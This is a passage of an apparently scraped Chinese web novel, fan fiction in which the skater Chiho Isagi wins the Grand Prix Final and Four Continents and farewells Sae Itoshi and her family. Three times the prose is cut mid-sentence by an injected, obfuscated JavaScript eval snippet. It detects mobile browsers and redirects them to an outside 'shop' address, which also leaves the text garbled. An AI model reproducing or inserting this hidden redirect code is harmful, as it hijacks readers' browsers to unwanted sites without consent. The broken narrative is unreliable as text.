千穗走过去,在他面前站定。 “凛?” 凛现在要低头看她了。 “……滑得很好。”他说,语气认真,“虽然我不太懂花滑,但就是很好。” 千穗弯起眼睛。 “谢谢凛酱哦。” 凛的耳朵红了。 “我长大了、不要这么叫我!” 但他没有躲开千穗伸过来的手,还主动低头,任由她在自己脑袋上揉了两下。 . 最后,千穗的目光落在站在最后的那个身影上。 糸师冴。 他靠在墙边,双手插在外套口袋里,表情淡淡的,和周围激动的人群格格不入。 但那双眼睛正望着她,很平和。 千穗走过去,在他面前站定。 “你昨天的话对我帮助很大。” 冴看着她。 “……我只是说了该说的。” “但我想明白了。” 冴没说话。 千穗笑了笑。 “虽然感觉今天跟很多人说了很多句,但我还是要跟你说——谢谢!” 冴沉默了两秒。 然后他微微点了点头。 “……嗯。” . 回酒店的路上,世一比她兴奋、甚至可以说到了一种亢奋的地步,一直说个不停。 “姐姐你知道吗,你滑的时候,我旁边那个人一直在小声喊‘卡密’!” “还有还有,你那个开场走进来的时候,全场都安静了!超级帅!” “莱莉好像被你的表演影响了,分数没你高,但她好像更兴奋了!” 千穗听着他絮叨,偶尔应一声。 走到一半,她忽然想起什么,掏出手机。 有几条未读消息。 她点开。 【纯前辈:看了】 【纯前辈:不错】 只有两个词。 但千穗盯着那两条消息看了很久。 然后她笑了。 【Chiho:谢谢前辈的视频】 发完之后,她等了一会儿。 对面没回复。 但千穗知道,他看见了。 这是他们之间的默契。 她会定期把自己跳过的编舞发给他,他如果兴致上来,会把改过的版本拍回来。 不是指导,不是教学,只是—— 两个对花滑同样执着的人,用自己的方式交流。 这次夜鹰纯记得她说过短节目其实想滑《EROS》,所以把视频发给她,大概潜意识也希望帮助她找到方向吧。 而她也确实找到了。 不过,她今天好像在观众席看见鴗鸟慎一郎了…… 【就是哦】白鸦把录像翻出来给她看。 【可能是夜鹰纯拜托的,你们关系很好呢——真神奇,只要是你碰见的主要角色,好感度都不低】 [哎——你这家伙还能检测好感吗?]千穗随意道。 【不能,这只是根据数据分析得出的结果】 [好吧~] 白鸦,平时都默默无闻地注视她,偶尔才会主动搭话,基本算是挂机状态。 许久没看的寿命,现在也涨到24了。 ……千穗已经习惯它的存在了,但如果没有它,她的路也只是走得更艰难,而不会停滞。 25.自由滑 勇利自由滑同样突破了维克托的世界纪录。 只是,以零点几的差距输给了尤里。 尤里.普利赛提,15岁成年组首战即大奖赛冠军。 勇利得了银牌,但他和维克托完全互通心意了。 以后,维克托同时作为教练和选手回归竞技。 然后是—— 洁千穗的金牌。 . 冰场的灯光暗下来的时候,洁千穗站在入口处,双手抵着两边的挡板。 观众席的喧嚣隔着冰层传来,闷闷的,像隔着一层膜。但她能听见自己的心跳——平稳的,有力的,一下一下。 她低头看了一眼自己身上的考斯滕。 酒红色与黑色拼接,深V领口,一侧长一侧短的不对称裙摆。暗红色的碎钻在昏暗的灯光下闪烁着幽微的光,像藏在皮肤下的火焰。 【准备好了吗?】 白鸦的声音在脑海中响起。 千穗没有回答。 她只是抬起头,看向冰面。 . 广播声响起。 “Next skater: Chiho Isagi, Japan.” 冰场的门推开,冷气扑面而来。 她踏上冰面。 同短节目一样,一步一步走上前,冰刀磕在冰面上,发出清脆的声响。那声音在安静的场馆里格外清晰,宣告着她的到来。 最后一下,千穗滑向冰场中央。 背对裁判席。 低头。 双臂垂落,右手指尖轻触冰面。 那个姿势持续了一秒。 两秒。 三秒。 观众席的人下意识屏住呼吸。 然后—— 吉他声起。 单弦拨动,一个音,又一个音。缓慢的,压抑的,像暴风雨前最后的风平浪静。 千穗抬起头。 转身。 灯光落在她脸上的瞬间,她看向裁判席。 嘴角微微上扬。 那双蓝眼睛里燃烧着的东西—— 不是挑衅。 不是诱惑。 是绝对的、毋庸置疑的自信。 “看着我。” 她什么都没说。 但所有人都听见了。 . 音乐进入第一个重音。 FCSp,跳接燕式旋转。 千穗一个小跳进入燕式姿势,浮腿抬起超过90度,背部反弓,把自己转成一个模糊的影子。酒红色的裙摆在离心力下绽开,暗红色的碎钻在灯光下闪烁,像一圈燃烧的火焰。 8圈。 换手位——从头顶到胸前,最后定格在“抓取”的姿态。 那姿态持续了一瞬。 然后她滑出旋转,直接进入一组探戈交叉步。 冰刀切过冰面的声音,和下一个重音完美契合。 . 进入步法:双三,莫霍克,左前外刃切入—— 3A。 阿克塞尔三周半。 起跳的瞬间,千穗感觉到自己的身体离开了冰面。世界变成一片模糊的光影,只有耳畔的风声和心跳。 一圈。 两圈。 三圈半—— 落冰。 右后外刃切进冰面的瞬间,清脆得像敲击琉璃。 她滑出弧线,手臂展开,裙摆在身后划出一道酒红色的轨迹。 正好卡在音乐的第一个高潮处。 观众席爆发出掌声。 而冰上的火焰继续滑行、燃烧。 . 接续步的雏形开始。 大开大合的探戈滑行,身体倾斜角度极大,右手几乎触冰。冰刀切过冰面的声音沙沙的,和音乐的鼓点交织在一起,像一首二重奏。 她利用冰面的宽度做对角线移动,从这一端到那一端,从这一角到那一角。 整个冰场是她的领地。 她在巡视。 . 左后内刃弧线,身体重心下沉—— 4S。 后内结环四周。 腾空的瞬间,千穗能感觉到乳酸已经开始在小腿堆积。但她没去想那些。她只是跳。 从第一圈到四圈—— 落冰。 膝盖弯到恰到好处的角度,稳稳地切入冰面。滑出后立刻接一个阿拉贝斯克,裙摆在空中划出一道完美的弧线。 观众席传来惊呼。 但千穗没听见。 在冰面上,是不受外界干扰的、属于她的世界。 . 音乐变了。 鼓点密集起来,小提琴的声音切入,尖锐的,侵略性的。 StSq,定级接续步。 节目的灵魂段落。 千穗的冰刀切过冰面,开始画。 第一段,快速探戈交叉步+捻转步组合,从冰场这一端到那一端,覆盖长轴中线。她的身体随着节奏起伏,每一步都踩在鼓点上。 第二段,连续四个不同方向的双三+莫霍克。冰刀切过冰面的弧线一个比一个深,一个比一个锋利。她用刃的深度让冰屑飞溅,在灯光下像散落的碎钻。 第三段—— hydroblading。 身体几乎与冰面平行,右手指尖轻轻擦过冰面。 冰凉的触感从指尖传来,伴随着一点刺痛。 她在冰上划出一道白线。 观众席的惊呼变成了尖叫。 但千穗依旧没听见。 她只听见自己的心跳。 咚、咚、咚。 和音乐融为一体。 . 反向交叉步后,左后外刃切入—— 3Lz+3T。 勾手三周接后外点冰三周。 起跳的高度比训练时更高,空中三圈转完后落冰,立刻衔接3T。两个跳跃之间几乎没有停顿,仿佛只是一个动作的两个部分。 落冰。 滑出。 节目已过半。 而她的体力还没到极限。 . 音乐节奏放缓。 进入旋转段。 CCoSp,换足联合旋转。 她的燕式转,8圈。裙摆绽开又收拢,酒红色的光晕在冰面上旋转。 换足——流畅得仿佛从未有过停顿。 蹲踞转,6圈。身体压到最低,几乎贴着冰面。 直立转,6圈。 而最后2圈—— 单手内侧抓刃贝尔曼。 她的身体向后弯成一道优雅的弧线,一只手抓住冰刀,另一只手轻轻抬起。柔韧性极佳的完成度让这个动作看起来毫不费力,仿佛只是在伸展。 贝尔曼、一个美丽但对运动员本身十分残酷的姿势。 . 音乐再次变得密集。 后半段开始。 也是1.1倍分数的开始。 所以—— 快速转三,右后外刃切入—— 4T。 后外点冰四周。 起跳的瞬间,千穗能感觉到体力已经消耗了大半。小腿在发酸,大腿后侧在抽筋的边缘疯狂试探。 但她能跳,她依然能跳、她依然能—— 完美落冰。 冰刀切进冰面的声音,清脆如常。 她滑出弧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17330472|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线,深吸一口气。 还没完。 . 3Lo,后外结环三周。 单跳,干净利落。落冰后直接衔接步法,进入下一组连跳。 进入步法—— 3F+1Lo+3S。 飞利浦三周+后外结环一周+后内结环三周。 三明治连跳,节目中难度最高的组合。 第一个3F起跳,落冰稳定。 中间1Lo、实际是1/2后外结环即尚未被正式命名的欧拉跳——它连接着前后两个跳跃,任何一点偏差都会导致失败。 衔接3S—— 落冰的瞬间,千穗的身体晃了一下。 就一下。 膝盖多弯了一度,滑出的弧线长了半米。 但她稳住了。 她站在冰面上,维持着落冰的姿势,胸口剧烈起伏。 观众席爆发出今天最响亮的惊呼。 但千穗还是没听见。 她听着自己的呼吸。 脑子里只有一个想法。 还有—— 最后一个跳跃。 . 进入步法后,3Lz+2T。 勾手三周接后外点冰两周。 基础性的高级连跳,她选择的收尾跳跃。 起跳的高度控制得刚刚好,落冰的瞬间膝盖弯到最合适的角度,2T的衔接轻松写意。 完成。 所有跳跃,全部完成。 . 音乐进入最后的爆发段。 ChSq,编排接续步。 千穗利用剩余冰面做最后一组自由的滑行。 大开大合的交叉步横穿冰面,略长一侧的酒红色裙摆在身后拖出一道燃烧的轨迹。 然后—— 蟹步。 她的身体向后弯成一道优雅的弧线,左腿向前延伸,右腿向后,整个人像一张拉满的弓。双臂向两侧展开,头微微后仰,那双蓝眼睛依旧盯着观众席——盯着所有人。 不是hydroblading那种贴近冰面的、近乎虔诚的姿态。 是开放的。 是舒展的。 是“我在这里,看着我”的宣告。 冰刀在冰面上划出两道平行的弧线,她的身体几乎与冰面平行——但不是hydroblading那种平行。hydroblading是贴近,是虔诚,是把自己交给冰面。 而蟹步—— 是享有、占领。 是用自己的身体画出最后一道完美的弧线,然后告诉所有人: 这是我的冰面。 冰凉的触感从指尖传来,但千穗没有去想那些。 她只是滑。 只是燃烧。 直到,音乐最后一个音符落下的瞬间。 她已滑到冰场中央。 右手伸出。 五指张开。 仿佛要将整个场馆抓在掌心。 停顿。 一秒。 两秒。 三秒。 全场安静得能听见冰面冷却的声音。 ——她将是冠军。 所有人的脑海中,只有这一个想法。 …… 熟悉的欢呼声后,千穗来到Kiss&Cry区等待。 她是最后一个出场的,在她之后已经没有其他选手了。 整个场馆都在等待她的分数。 最后—— 屏幕上打出: 自由滑总分:164.96 短节目总分:75.25 总决赛总分:240.21 她再次,创下了女单纪录。 26.结束 今年的成人组大奖赛,总决赛男单女单冠军都是刚升组的15岁少年。 令人惊叹。 比赛的热度也远超以往。 “哎呀……没想到你真的赢了。” 以1.5分之差获得银牌的莱莉倒没太难过,反而用新奇的目光打量千穗,“上场时完全没有被我的分数吓到啊。” 莱莉在千穗前面上场,掌握又一种四周跳的她打破了自己去年才创下的世界纪录。 结果千穗的分数比她还高。 ……而且她觉得这次的裁判一直在压分,不然她与千穗跟其他人的分差应该更大。 “我说了,我会赢的。”千穗毫不客气道,“你会四周跳,我也会,有什么好怕的?” “可恶啊,你们两个还是太犯规了。”旁边,作为季军的米拉有些不甘、又有些释然。 她尝试了跳4S,虽然摔倒,但周数够了。 也因此她才更了解旁边两人的恐怖之处。 “嗯——那我确实可以安心退役了。”莱莉笑起来,“2月份的四大洲锦标赛大概是我最后参加的比赛了。” “就这么直接把消息告诉我们了?”米拉挑眉。 千穗跟着吐槽。 “对啊,而且怎么说得有种担心自己后继无人、所以硬挺着的感觉?” 莱莉摆摆手。 “又不是什么不可告人的消息,我只是要去追求梦想了~以后日本见哦,千穗酱~” “是是,你日语好流利啊。” 三个人聊着天,收拾东西离开了休息室。 走到门口,米拉忽然想起什么,停下脚步。 “对了,千穗,今晚维克托和雅科夫牵头组的庆功宴,你来吗?” 千穗想了想。 “不了。” “哎?”米拉眨眨眼,“为什么?尤里拿金牌,你拿金牌,那个勇利银牌,我铜牌——这可是难得的庆祝机会。维克托说他要正式宣布回归竞技场,好歹去捧个场?” “我要陪家人。”千穗说,“还有送朋友回马德里。” 米拉愣了一下,然后露出一个了然的表情。 “哦——那个齐刘海幼驯染?” 千穗还没来得及回答,旁边的莱莉已经凑了上来。 “齐刘海幼驯染?”她显然对此有印象,“就是赛前聚餐跟千穗一起的那个?粉色头发、长得挺帅的那个?我记得叫什么什么冴来着……” “就是他。”米拉点点头,“人叫糸师冴。” 莱莉转头,带着点八卦地跟千穗说: “要不是那次聚餐,我还行ship你和尤里呢~” “……什么?”千穗以为自己听错了,“ship”是国外嗑cp的用词。 “你不知道吗?在花滑粉圈,你和尤里的配对可火了,‘一起从青年组升上来的尤里和千穗’‘同门的天才’——剪辑视频一堆一堆的!” 千穗:“……” 她还真不知道。 旁边的米拉笑得很开心。 “确实很火。”她点点头,“我刷到过好几个,剪得还挺好的。” “但是!”莱莉竖起一根手指,“看了赛前聚餐之后,我觉得那个齐刘海幼驯染更好嗑哦~” 千穗无奈叹气,“他们真是想多了,我和尤里只是朋友,一起训练了几年,仅此而已……你们也别瞎想,我和冴也只是从小认识的朋友。” “放心,我跟你们一起训练的,我还不了解吗?”米拉随意道。 莱莉态度也差不多。 “我只是喜欢八卦啦。” 千穗耸耸肩,“行吧,那我们说再见了?我找我家里人去了。” “嗯,拜拜~” … … 千穗和家人还有糸师兄弟一起去吃大餐庆祝。 餐厅是拜托经纪人北野提前订好的,一家藏在巷子深处的西班牙餐馆,据说海鲜饭是全巴塞罗那最好吃的。 千穗坐下来的时候,才真正感觉到累。 不是身体上的累——虽然确实累,但更是一种……紧绷了太久的神经终于松弛下来的累。 “姐姐,”世一凑过来,“你眼睛都快闭上了。” “没闭上。” “快闭上了。” 千穗瞪他一眼。 世一嘿嘿笑,完全不怕。 菜上来的时候,千穗吃了很多。 海鲜饭、烤鱿鱼、蒜香虾、伊比利亚火腿——都是些知名的西班牙菜,这次她没管什么运动员饮食限制了,反正近期最关键的比赛结束了,今天就是要吃个够。 “千穗。”洁母看着她,有点担心,“慢点吃。” “嗯嗯。”千穗嘴里塞着东西,含糊不清地应了一声。 洁母无奈地笑了笑,没再说什么。 旁边的洁世一和糸师凛一个比一个吃的快,看着像莫名其妙比起赛来,好几次差点互抢对方盘里的食物。 千穗看得想笑,忽然记起刚才不久前她和莱莉她们聊的话题,下意识看向某位幼驯染。 在目前常驻西班牙的糸师冴坐在她对面,正慢条斯理地切着盘子里的火腿。 察觉到她的视线,他抬头。 “……怎么了?” “没什么。” 千穗收回视线,继续吃饭。 . 吃完饭回到酒店,千穗洗了个澡,把自己扔在床上。 手机震了好几次,她懒得看。 明天再说。 反正那些恭喜的消息,晚一点回也没关系。 她闭上眼睛。 . 第二天早上,千穗醒来的时候,阳光已经从窗帘缝隙里漏进来了。 她摸过手机看了一眼。 九点四十七。 她居然睡了将近十二个小时。 消息列表里躺着几十条未读,有世一的、有米拉的、有莱莉的、有维克托的、有尤里的、有夜鹰纯的—— 她一条一条点开看。 世一:【姐姐起床没?我们去吃早饭了,你醒了自己下来~】 米拉:【昨天庆功宴可热闹了,维克托宣布回归的时候大家都很高兴呢】 莱莉:【我回美国啦!世锦赛来美国玩我可以给你当导游】 维克托:【千穗,庆功宴下次一定要来哦~】 尤里:【……】 【赢了】 【哼】 千穗看着那个“哼”,忍不住笑。 最后一条是夜鹰纯的。 【纯前辈:240.21】 【纯前辈:不错】 千穗盯着那两条消息看了两秒。 然后她打字回复: 【Chiho:谢谢前辈】 【Chiho:视频我会发给你的】 发完之后,她放下手机,起床洗漱。 . 客厅里,世一和凛正坐在沙发上看电视。 看见她出来,世一立刻招手。 “姐姐!你醒了!饿不饿?妈妈给你留了早饭!” “嗯。” 千穗走过去,在沙发上坐下。 洁母从房间里出来,手里端着个托盘,上面是热好的早饭。 “快吃,一会儿还要去送冴。” 千穗接过托盘,愣了一下。 “冴呢?” “在房间里收拾行李。”洁母说,“他就要回马德里去了。” 千穗低头吃饭。 但脑子里已经在想别的事了。 . 吃完饭,千穗换好衣服,和爸妈、世一、凛一起等在客厅里。 冴从房间里出来的时候,手里拖着那个熟悉的行李箱。 他看了一眼千穗。 “走了。” . 车站的人依旧很多。 圣诞刚过,到处都是拖着行李的旅客。广播里用西班牙语和英语交替播报着车次信息,人群在站台上流动,像一条不知疲倦的河。 洁千穗站在人群中,看着糸师冴办理行李托运。 他穿着来时的褐色大衣,脖子上围着那条藏青色的围巾——她去年送的那条。小豆色的头发在车站的灯光下显得有些毛茸茸的,可能是因为刚洗过。 手续办完,冴转过身来。 “这几日打扰了。”他先是和洁父洁母礼貌道谢。 “不用这么客气啦,毕竟也是看着你长大的。”洁母慈祥道。 “回家过年多去看看你父母啊。”洁爸提醒道。 冴点点头,然后视线转向站在一起的凛和世一。 他皱了皱眉,似乎有什么很严肃的话想说。 搞得俩弟弟莫名紧张起来。 但最终,他只是叹了口气,说: “……好好踢球。” “是!” 世一和凛下意识用应对教练的语气回答。 冴没再说什么,最后看向千穗。 千穗微笑着等待他跟自己讲话。 结果这家伙盯了她几秒,就来了一句“明年见”。 然后拉着他的行李箱头也不回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334222|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地走了。 “额,明年见。” 千穗在后面拜拜手。 “冴哥/尼酱再见!” 旁边俩小子也喊起来。 ……千穗知道,明年,糸师冴的人生会发生重大转变。 他好几年没对家人朋友释放过的毒舌属性可能要大爆发了。 希望世一和凛能适应吧,阿门。 … …… 时间来到第二天早上。 巴塞罗那机场。 洁千穗站在出发大厅里,看着家人们办理托运。 洁父洁母的行李箱,世一的双肩包,凛的小行李箱——都送上传送带,消失在那个黑乎乎的洞口里。 世一办完托运,跑回她身边。 “姐姐,你什么时候回去?” “闭幕式表演滑结束。”千穗说,“大概还要三四天。” “那你要好好吃饭!” “知道了知道了。” 洁母走过来,最后打量她一眼。 “刚拿了金牌,吃好喝好别对自己太严苛了。”她说,“回去要吃什么告诉妈妈。” 千穗笑着点头。 “好。” 洁父在旁边拍了拍她的肩膀。 “四大洲和世锦赛,也加油啊,有什么不顺心地也可以跟爸妈说。” “知道了,爸~” 最后是凛。 他站在千穗面前,低头看她——这孩子现在比她高出一个头还多,站在面前像一堵墙。 但那张脸上的表情,还是和小时候一样。 “千穗姐。” “嗯?” 凛张了张嘴,似乎想说什么。 但最后只是憋出一句: “……比赛加油。” 千穗笑了。 她伸出手,想揉他的脑袋—— 但因为身高差,得踮脚。 凛默默弯腰。 千穗成功揉到。 “谢谢凛酱。” 凛的耳朵红了。 “我都说了不要这么叫……” 他小声抗议。 . 登机时间到了。 千穗站在安检口外面,看着家人们排队。 世一回头,使劲挥手。 “姐姐!早点回来!” 千穗冲他挥了挥手。 洁母也回头看她,眼神里带着点不舍,但更多的是放心。 洁父只是笑着,朝她点了点头。 凛走在最后,没有回头。 但走到安检口的时候,他的脚步顿了一下。 然后他转过头,朝千穗的方向看了一眼。 很快的一眼。 然后他转回去,走进安检通道。 . 送走他们之后,千穗站在机场大厅里,看着来来往往的人群。 巴塞罗那的阳光从落地窗照进来,暖洋洋的。 她掏出手机,看了眼时间。 还有几天才到闭幕式的表演滑。 接下来—— 全日锦。 四大洲。 世锦赛。 升到成年组的第一赛季,这才刚刚开始。 她把手机收进口袋,转身往外走。 阳光落在她身上,把影子拉得很长。 . 千穗给经纪人发消息: 【Chiho:宁宁姐,我送完人了,在机场】 【Chiho:接下来几天有什么安排?】 对面秒回: 【宁宁:回酒店休息,后天开始恢复训练,闭幕式表演滑,然后飞回日本参加全日锦】 【宁宁:怎么了?】 千穗看着那条消息,想了想。 【Chiho:没什么】 【Chiho:就是想确认一下,接下来还有很多比赛要赢】 对面沉默了两秒。 然后—— 【宁宁:……】 【宁宁:你这话说的,好像刚拿完金牌还不够似的】 千穗笑了一下。 【Chiho:当然不够】 【Chiho:我可是立誓要拿全满贯的】 【宁宁:行吧行吧,都听你的】 【宁宁:我在酒店等你,回来吧】 千穗把手机收进口袋。 走出机场大厅的瞬间,巴塞罗那的阳光洒在身上,暖得让人想眯起眼睛。 她深吸一口气。 接下来,还有很多比赛要赢呢。 27.真期待啊 闭幕时的表演滑最出彩的是维克托和勇利的双人表演。 然后就是男单女单绕圈滑行致意。 结束后,洁千穗和勇利一起回日本,而维克托要和雅科夫他们一起先回俄罗斯、准备参加国内赛。 这次分开两人有不舍、但因各自目标明确而欣然接受。 “勇利回去后要想我哦~千穗也是~我们世青赛再见——” 维克托在机场特别夸张地招手。 旁边尤里拉着兜帽把头埋起来,一副不想跟他认识的样子。 雅科夫伸手拽走他,“走了,我们也要登机了。” “嗯,维克托,再见!”勇利很坦然地同维克托摆手。 千穗戴着口罩和经济人快步离开,假装不认识那俩人。 . 全日锦标赛千穗和勇利都是无教练组—— 哦,维克托拜托勇利的前教练切雷斯蒂诺来陪他一程。 千穗这边蜻堂绯纱子以助理教练发名义陪着,雷奥尼多个编舞师被雅科夫、维克托和夜鹰纯压力过来了。 后面1月底到2月初的4CC(四大洲锦标赛),也是差不多的阵容。 不同的是,维克托和尤里他们参加欧洲锦标赛比4CC早,所以维克托赶得上来当勇利的教练。 欧锦赛,维克托的节目中出现了新的情感、是勇利带给他的变化,他再次拿下金牌——但是银牌的尤里和他的差距很小,不到半分。 嘛,毕竟现在是新人的时代了。 勇利4CC夺冠,终于拿到了国际赛事的金牌。 千穗也是金牌。 但最关键的是,她成功跳出了4F。 莱莉能跳的、她当然也可以。 更何况,她身边的几个男单选手可是很会跳4F啊。 …… 《红磨坊》节目中的4T被她换成了4F。 点冰足点下的瞬间,千穗能感觉到冰面传来的反作用力。和4T不一样——4T是点冰后直接起跳,而4F的点冰位置更靠后,起跳的角度更刁钻,对左腿的负荷也更大。 她练过无数次。 在梦境空间里。 在现实训练中。 在每一次摔倒又爬起来之后。 腾空。 世界变成一片模糊的光影。 一圈—— 她能听见自己的心跳。 两圈—— 她看见观众席的灯光从眼前闪过。 三圈—— 她感受到寒气化作风包裹身体的凛冽。 四圈—— 身体开始下落。 冰面在视野里迅速放大。 右后外刃—— 切入 . 冰刀切进冰面的瞬间,千穗的膝盖弯到比平时更深的角度。冲击力从小腿传到膝盖,从膝盖传到大腿,从大腿传到腰——整个身体都在承受这个跳跃的重量。 但她稳住了。 滑出弧线。 手臂展开。 裙摆在身后划出一道酒红色的轨迹。 4F—— 落冰成功。 它将不再是属于莱莉的专利了。 . 后面的比赛怎么结束的,千穗已经没印象了。 她只是又听见了欢呼与掌声、又站在了领奖台中央、又应付走了一批记者…… “哒!” 维克托在她面前打了个响指。 “恭喜千穗,244.31,又是最高纪录呢。” 千穗这才回过神。 “……谢谢你教我后内点冰四周。” “哈哈,再怎么说我们也是同门啊,我还当过你的挂名教练呢,总得教你点什么才行。”维克托爽朗一笑。 千穗点头,又看向勇利:“也恭喜勇利拿到金牌。” “谢、谢谢!”勇利发自内心的喜悦。 ——“千穗!!!” 莱莉扑过来的力道不小,千穗被撞得往后退了半步,下意识伸手接住她。 “恭喜你!”莱莉的声音闷在她肩膀上,带着点撒娇的抱怨,“但是也太可恶了吧!说用4F就用4F,一点心理准备都不给人!” 千穗笑着拍了拍她的背。 “你自己不也用了4F和4S?” “那不一样!”莱莉抬起头,那双眼睛亮晶晶的,但嘴巴撅得能挂油瓶,“我用是我的事,你用是你的事——而且你居然在比赛里第一次用就跳成了!而且一点消息都没传出来!我当年练习时可是被一堆人围观了!” “那是你太不谨慎了。” “我才没有!” 两个人就这样抱着,一个拍背一个撅嘴,旁边的勇利和维克托看得直笑。 千穗松开她,认真道: “对了,提前祝你生日快乐——虽然还有几周,但怕到时候没机会说。” 莱莉愣了一下。 “还有退役快乐。” 莱莉的眼睛眨了眨。 然后她笑了,笑得很灿烂,比刚才撒娇的时候更真实。 “谢谢~” 她高高兴兴地应下,然后拉着千穗的手晃了晃: “三月份来美国波士顿比世锦赛,一定要请我当导游哦!” “好好好~” 千穗点头答应,然后想了想,还是问出口: “你不打算参加世锦赛再退役吗?” 莱莉看着她,忽然露出一个狡黠的笑容。 “不要啦不要啦~” 她摆摆手,语气轻快得像在说什么无关紧要的事。 “我要快点享受退役生活——而且才不要再输给千穗了——” 她顿了顿,歪着头看千穗,那双眼睛里带着一种说不清的情绪。 “千穗你啊,和那个夜鹰纯一样,知不知道自己很可怕啊。” 千穗愣了一下。 “什么?” “是冰上的大魔王哦。”莱莉说,语气里没有嫉妒,没有不甘,只有一种奇特的……亲近感? “站在冰上的时候,那种‘我在这里,这里属于我’的气场——和夜鹰纯一模一样。” 千穗没说话。 莱莉继续说: “我看了他以前比赛的录像。那种感觉……怎么说呢,他滑冰的时候,特别理所当然,像是在宣告、冰面是他的,比赛是他的,金牌是他的。你们都一样。” 她伸出手,戳了戳千穗的肩膀。 “所以我才不要跟你比了——好歹是OG冠军,才不要连输三次呢,那多没面子。” 千穗看着她,忽然不知道该说什么。 旁边的维克托轻笑一声。 “莱莉说得没错呢。”他说,语气里带着点感慨,“千穗确实和纯很像。那种站在冰上的绝对感——不是谁都有的。” 勇利在旁边点头,表情认真。 “千穗的表演,确实有一种……逮捕别人视线的力量。” 千穗被他们说得有点不自在。 “……你们够了啊。” 莱莉笑起来。 “好啦好啦,不逗你了。”她松开手,后退一步,“那我走啦,回美国准备退役事宜——世锦赛我会来看的,不是以选手的身份,是以观众的身份。” “好。” 千穗点点头。 莱莉朝她挥挥手,转身跑开了。 金色的马尾在身后甩来甩去,像一只快乐的小狐狸。 千穗站在原地,看着她的背影消失在通道尽头。 . 回酒店的路上,千穗一直没说话。 北野宁宁开着车,从后视镜里看了她一眼。 “在想什么?” 千穗回过神。 “……没什么。” 北野宁宁笑了笑,没再问。 但千穗知道,她在想莱莉说的那句话。 冰上的大魔王。 和夜鹰纯一样。 她想起夜鹰纯的那些录像——那种站在冰上的绝对感,那种“金牌只能属于我”的气场。 原来在别人眼里,她也是这样吗? 她低头看着自己的双脚。 没有经历巨大创伤的、完好的、在冰上滑行无数次的双脚。 如果这就是“大魔王”—— 那也挺好的。 . 手机震了一下。 她掏出来看。 【Yuri:4F成了?】 【Yuri:……】 【Yuri:世锦赛我会赢维克托和那个炸猪排盖饭的】 【Yuri:你也是,别输】 千穗看着那几条消息,嘴角弯起来。 【Chiho:知道了】 【Chiho:欧锦赛银牌也很厉害啊,只差不到半分】 对面秒回。 【Yuri:……】 【Yuri:世锦赛我一定会赢的!!!】 千穗笑出了声。 下一秒,来自夜鹰纯的消息弹出—— 【纯前辈:直播我看了】 【纯前辈:4F跳成了】 【纯前辈:还差WC和OG】 千穗愣住。 他在说她距离全满贯差的金牌吗? 她思考了一下,开始打字。 【Chiho:马上就差OG了】 【纯前辈:嗯】 然后没消息了。 千穗深吸一口气,把手机收进口袋,看向窗外。 从大奖赛开始,独自练了快五个月、尤其是大奖赛结束后的两个月,她的4F已经成功了。 世锦赛,她会赢的。 并且,以新的惊喜。 …… …… 洁千穗想要以让自己满意的方式去赢。 所以,她选择了后外结环四周。 在所有四周跳中,4Lo被认为是难度最高的之一——不是因为起跳高度或空中转速,而是因为它的起跳方式。 4S和4T都是点冰跳,有冰点作为辅助。 4Lo是无点冰跳跃,完全依靠膝盖的力量和身体的重心控制。 起跳时,右后外刃切入冰面,膝盖蓄力,蹬,然后——没有任何辅助,纯粹依靠腿部力量把自己抛向空中、身体扭转发力。 那是一种近乎原始的力量释放。 千穗第一次认真观察4Lo,是在大奖赛俄罗斯站的观众席上。 李承吉,韩国男单选手,世界级正式赛中唯一成功过4Lo的人。 他的4Lo起跳时,千穗能看见他右腿肌肉的紧绷——那种从脚尖到大腿、整个身体都在发力的感觉。 落冰的瞬间,冰刀切入冰面的声音很轻,但那股冲击力,隔着半个冰场她都觉得自己都能感受到。 “很漂亮吧?” 维克托的声音从旁边传来。 千穗点点头。 “想学吗?” 千穗转头看他。 维克托笑了笑,那双蔚蓝色的眼睛里带着某种了然。 “4Lo在所有四周跳里也是极难的,但也是最美的一个。因为它是纯粹的——没有任何辅助,只有你自己。” 千穗沉默了两秒。 然后她说: “想学。” . 但学习4Lo的过程,比她想象的要艰难得多。 首先是理论。 4Lo偏侧、偏后、偏外,角度更斜更深——这些千穗在梦境空间里反复模拟过无数次。 她在俄罗斯站结束后就加了李承吉的社交账号(这家伙虽然设定离谱的禁欲主义者但跟他说网上交流学习还是没问题的),在大奖赛女单比赛结束后、闭幕式前的几天就开始向对方请教跳跃技巧了。 然后是实践。 第一次尝试的时候,她摔得很惨。 右后外刃切入冰面的瞬间,她能感觉到身体的重心不对——太靠前了,起跳的瞬间整个人往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17339053|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前栽。 落地的姿势更是惨不忍睹,膝盖都磕在冰面上了,疼得她半天没站起来。 